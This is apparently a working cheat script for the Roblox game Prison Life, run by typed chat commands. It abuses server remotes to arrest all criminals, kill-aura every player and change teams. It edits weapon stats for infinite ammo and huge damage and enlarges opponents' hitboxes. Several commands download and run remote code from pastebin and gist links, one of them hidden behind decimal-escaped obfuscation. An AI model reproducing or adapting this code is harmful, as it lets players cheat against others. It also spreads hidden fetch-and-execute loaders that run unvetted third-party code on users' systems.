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- -- added new commads such like:
- -- :guard expanded hitbox
- -- :inmate expanded hitbox
- -- :crims expanded hitbox
- -- :(gun name) inf ammo
- -- :(gun name) fast reload
- -- and much more!
- local Player = game.Players.LocalPlayer
- Player.Chatted:connect(function(cht)
- if cht:match(":remove doors") then
- Workspace.Prison_Cellblock.doors:Destroy()
- for i,v in pairs(workspace:GetChildren())do
- if v.Name == "Doors" then
- v:Destroy()
- end
- end
- elseif cht:match(":get all gun") then
- for i,v in pairs(Workspace.Prison_ITEMS.giver:GetChildren()) do
- OwO = Workspace.Remote.ItemHandler:InvokeServer(v.ITEMPICKUP)
- end
- elseif cht:match(":no crims") then
- local Player = game.Players.LocalPlayer
- local cpos = Player.Character.HumanoidRootPart.CFrame
- for i,v in pairs(game.Teams.Criminals:GetPlayers()) do
- if v.Name ~= Player.Name then
- local i = 10
- repeat
- wait()
- i = i-1
- game.Workspace.Remote.arrest:InvokeServer(v.Character.HumanoidRootPart)
- Player.Character.HumanoidRootPart.CFrame = v.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, 1)
- until i == 0
- end
- end
- Player.Character.HumanoidRootPart.CFrame = cpos
- Notify("Success", "Arrested all of the n00bs", "Cool!")
- elseif cht:match(":no taser") then
- game.Players.LocalPlayer.Character.ClientInputHandler.Disabled = true
- game.Players.LocalPlayer.CharacterAdded:connect(function()
- game.Workspace:WaitForChild(game.Players.LocalPlayer.Name)
- game.Players.LocalPlayer.Character.ClientInputHandler.Disabled = true
- end)
- elseif cht:match(":aura") then
- mainRemotes = game.ReplicatedStorage
- meleeRemote = mainRemotes['meleeEvent']
- killAura = true
- contextactionservice = game.ContextActionService
- function toggleKillAura(actionName, inputState, inputObject)
- print('Doing the action : ' .. actionName)
- if inputState == Enum.UserInputState.Begin then
- if killAura == true then
- killAura = false
- else
- killAura = true
- end
- end
- end
- contextactionservice:BindAction('ToggleKillAura', toggleKillAura, false, Enum.KeyCode.K)
- while wait() do
- if killAura == true then
- for _, plr in pairs (game:GetService('Players'):GetChildren()) do
- if plr.Name ~= game.Players.LocalPlayer.Name then
- meleeRemote:FireServer(plr)
- end
- end
- end
- end
- elseif cht:match(":be neutral") then
- Workspace.Remote.TeamEvent:FireServer("Medium stone grey")
- elseif cht:match(":super punch") then
- loadstring(game:HttpGet(("https://pastebin.com/raw/25z2hjXP"), true))()
- elseif cht:match(":be inmate") then
- workspace.Remote.TeamEvent:FireServer("Bright orange")
- elseif cht:match(":btool") then
- Instance.new("HopperBin", game.Players.LocalPlayer.Backpack).BinType = 4
- elseif cht:match(":be cop") then
- workspace.Remote.TeamEvent:FireServer("Bright blue")
- elseif cht:match(":be crim") then
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-943, 96, 2055)
- elseif cht:match(":go to guard area") then
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(802,99,2270)
- elseif cht:match(":go to crim base") then
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-943, 96, 2055)
- elseif cht:match(":go to prison") then
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(879,99,2377)
- elseif cht:match(":reset") then
- game.Players.LocalPlayer.Character:Destroy()
- elseif cht:match("gui") then
- loadstring(game:HttpGet(("https://pastebin.com/raw/VZNfEYXs"), true))()
- elseif cht:match("hardcore") then
- loadstring(game:HttpGet('https://pastebin.com/raw/vsFeeipV'))()
- elseif cht:match(".go to yard") then
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(779.87,98,2458.93)
- elseif cht:match(":fast remington") then
- local player = game:GetService("Players").LocalPlayer
- local gun = player.Backpack:FindFirstChild("Remington 870")
- local sM = require(gun:FindFirstChild("GunStates"))
- sM["Damage"] = 999
- sM["MaxAmmo"] = 9999991
- sM["StoredAmmo"] = 9999991
- sM["FireRate"] = 0.05
- sM["AmmoPerClip"] = 9999991
- sM["Range"] = 5000
- sM["ReloadTime"] = 0.05
- sM["Bullets"] = 10
- sM["AutoFire"] = true
- elseif cht:match(":click tp") then
- game:GetService("StarterGui"):SetCore("SendNotification",{
- Title = "Click TP Enabled!",
- Text = "Tap Left Alt to TP to your mouse.",
- Duration = 10,
- })
- local player = game.Players.LocalPlayer
- mouse = player:GetMouse()
- game:GetService("UserInputService").InputBegan:connect(function(inputObject, gameProcessedEvent)
- if inputObject.KeyCode == Enum.KeyCode.LeftAlt then
- local pos = mouse.Hit+Vector3.new(0,2.5,0)
- pos = CFrame.new(pos.X,pos.Y,pos.Z)
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos
- end
- end)
- print("Successfully Executed Script!")
- elseif cht:match(":tp frame") then
- loadstring(game:HttpGet(("https://pastebin.com/raw/bvLWiNGY"), true))()
- elseif cht:match(":fly") then
- loadstring("\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\40\40\39\104\116\116\112\115\58\47\47\103\105\115\116\46\103\105\116\104\117\98\117\115\101\114\99\111\110\116\101\110\116\46\99\111\109\47\109\101\111\122\111\110\101\89\84\47\98\102\48\51\55\100\102\102\57\102\48\97\55\48\48\49\55\51\48\52\100\100\100\54\55\102\100\99\100\51\55\48\47\114\97\119\47\101\49\52\101\55\52\102\52\50\53\98\48\54\48\100\102\53\50\51\51\52\51\99\102\51\48\98\55\56\55\48\55\52\101\98\51\99\53\100\50\47\97\114\99\101\117\115\37\50\53\50\48\120\37\50\53\50\48\102\108\121\37\50\53\50\48\50\37\50\53\50\48\111\98\102\108\117\99\97\116\111\114\39\41\44\116\114\117\101\41\41\40\41\10\10")()
- elseif cht:match(":xray") then
- game:GetService("StarterGui"):SetCore("SendNotification",{
- Title = "Loaded",
- Text = "press e for active and desactive x-ray",
- Duration = 5,
- })
- local xrayHotkey = Enum.KeyCode.E
- local uis = game:GetService("UserInputService")
- local xrayOn = false
- uis.InputBegan:Connect(function(inp, processed)
- if processed then return end
- if inp.KeyCode == xrayHotkey then
- xrayOn = not xrayOn
- for i, descendant in pairs(workspace:GetDescendants()) do
- if descendant:IsA("BasePart") then
- if xrayOn then
- if not descendant:FindFirstChild("OriginalTransparency") then
- local originalTransparency = Instance.new("NumberValue")
- originalTransparency.Name = "OriginalTransparency"
- originalTransparency.Value = descendant.Transparency
- originalTransparency.Parent = descendant
- end
- descendant.Transparency = 0.5
- else
- descendant.Transparency = descendant.OriginalTransparency.Value
- end
- end
- end
- end
- end)
- elseif cht:match(":guard expanded hitbox") then
- _G.HeadSize = 10
- _G.Disabled = true
- _G.Reset = true
- game:GetService('RunService').RenderStepped:connect(function()
- if _G.Disabled then
- for i,v in pairs(game.Teams["Guards"]:GetPlayers()) do
- if v.Name ~= game:GetService('Players').LocalPlayer.Name then
- pcall(function()
- v.Character.HumanoidRootPart.Size = Vector3.new(_G.HeadSize,_G.HeadSize,_G.HeadSize)
- v.Character.HumanoidRootPart.Transparency = 0.7
- v.Character.HumanoidRootPart.BrickColor = BrickColor.new("Really blue")
- v.Character.HumanoidRootPart.Material = "Neon"
- v.Character.HumanoidRootPart.CanCollide = false
- end)
- if _G.Reset then
- if v.Character.Humanoid.Health == 0 then
- v.Character.HumanoidRootPart.Size = Vector3.new(1,1,1)
- end
- end
- end
- end
- end
- end)
- elseif cht:match(":inmate expanded hitbox") then
- _G.HeadSize = 10
- _G.Disabled = true
- _G.Reset = true
- game:GetService('RunService').RenderStepped:connect(function()
- if _G.Disabled then
- for i,v in pairs(game.Teams["Inmates"]:GetPlayers()) do
- if v.Name ~= game:GetService('Players').LocalPlayer.Name then
- pcall(function()
- v.Character.HumanoidRootPart.Size = Vector3.new(_G.HeadSize,_G.HeadSize,_G.HeadSize)
- v.Character.HumanoidRootPart.Transparency = 0.7
- v.Character.HumanoidRootPart.BrickColor = BrickColor.new("Bright orange")
- v.Character.HumanoidRootPart.Material = "Neon"
- v.Character.HumanoidRootPart.CanCollide = false
- end)
- if _G.Reset then
- if v.Character.Humanoid.Health == 0 then
- v.Character.HumanoidRootPart.Size = Vector3.new(1,1,1)
- end
- end
- end
- end
- end
- end)
- elseif cht:match(":crims expanded hitbox") then
- _G.HeadSize = 10
- _G.Disabled = true
- _G.Reset = true
- game:GetService('RunService').RenderStepped:connect(function()
- if _G.Disabled then
- for i,v in pairs(game.Teams["Criminals"]:GetPlayers()) do
- if v.Name ~= game:GetService('Players').LocalPlayer.Name then
- pcall(function()
- v.Character.HumanoidRootPart.Size = Vector3.new(_G.HeadSize,_G.HeadSize,_G.HeadSize)
- v.Character.HumanoidRootPart.Transparency = 0.7
- v.Character.HumanoidRootPart.BrickColor = BrickColor.new("Medium stone grey")
- v.Character.HumanoidRootPart.Material = "Neon"
- v.Character.HumanoidRootPart.CanCollide = false
- end)
- if _G.Reset then
- if v.Character.Humanoid.Health == 0 then
- v.Character.HumanoidRootPart.Size = Vector3.new(1,1,1)
- end
- end
- end
- end
- end
- end)
- elseif cht:match(":ak47 fast reload") then
- local player = game:GetService("Players").LocalPlayer
- local gun = player.Backpack:FindFirstChild("AK-47")
- local sM = require(gun:FindFirstChild("GunStates"))
- sM["ReloadTime"] = 0.05
- elseif cht:match(":M9 fast reload") then
- local player = game:GetService("Players").LocalPlayer
- local gun = player.Backpack:FindFirstChild("M9")
- local sM = require(gun:FindFirstChild("GunStates"))
- sM["ReloadTime"] = 0.05
- elseif cht:match(":Remington 870 fast reload") then
- local player = game:GetService("Players").LocalPlayer
- local gun = player.Backpack:FindFirstChild("Remington 870")
- local sM = require(gun:FindFirstChild("GunStates"))
- sM["ReloadTime"] = 0.05
- elseif cht:match(":taser fast reload") then
- local player = game:GetService("Players").LocalPlayer
- local gun = player.Backpack:FindFirstChild("Taser")
- local sM = require(gun:FindFirstChild("GunStates"))
- sM["ReloadTime"] = 0.05
- elseif cht:match(":ak47 inf ammo") then
- local player = game:GetService("Players").LocalPlayer
- local gun = player.Backpack:FindFirstChild("AK-47")
- local sM = require(gun:FindFirstChild("GunStates"))
- sM["MaxAmmo"] = 9999991
- sM["Damage"] = 999
- elseif cht:match(":M9 inf ammo") then
- local player = game:GetService("Players").LocalPlayer
- local gun = player.Backpack:FindFirstChild("M9")
- local sM = require(gun:FindFirstChild("GunStates"))
- sM["MaxAmmo"] = 9999991
- sM["Damage"] = 999
- elseif cht:match(":Remington 870 inf ammo") then
- local player = game:GetService("Players").LocalPlayer
- local gun = player.Backpack:FindFirstChild("Remington 870")
- local sM = require(gun:FindFirstChild("GunStates"))
- sM["MaxAmmo"] = 9999991
- sM["Damage"] = 999
- elseif cht:match(":taser inf ammo") then
- local player = game:GetService("Players").LocalPlayer
- local gun = player.Backpack:FindFirstChild("Taser")
- local sM = require(gun:FindFirstChild("GunStates"))
- sM["MaxAmmo"] = 9999991
- sM["Damage"] = 999
- elseif cht:match(":dex explorer") then
- loadstring(game:GetObjects('rbxassetid://2180084478')[1].Source)()
- elseif cht:match(":combat help") then
- loadstring(game:HttpGet(("https://pastebin.com/raw/akLGF7Yf"), true))()
- end
- end)
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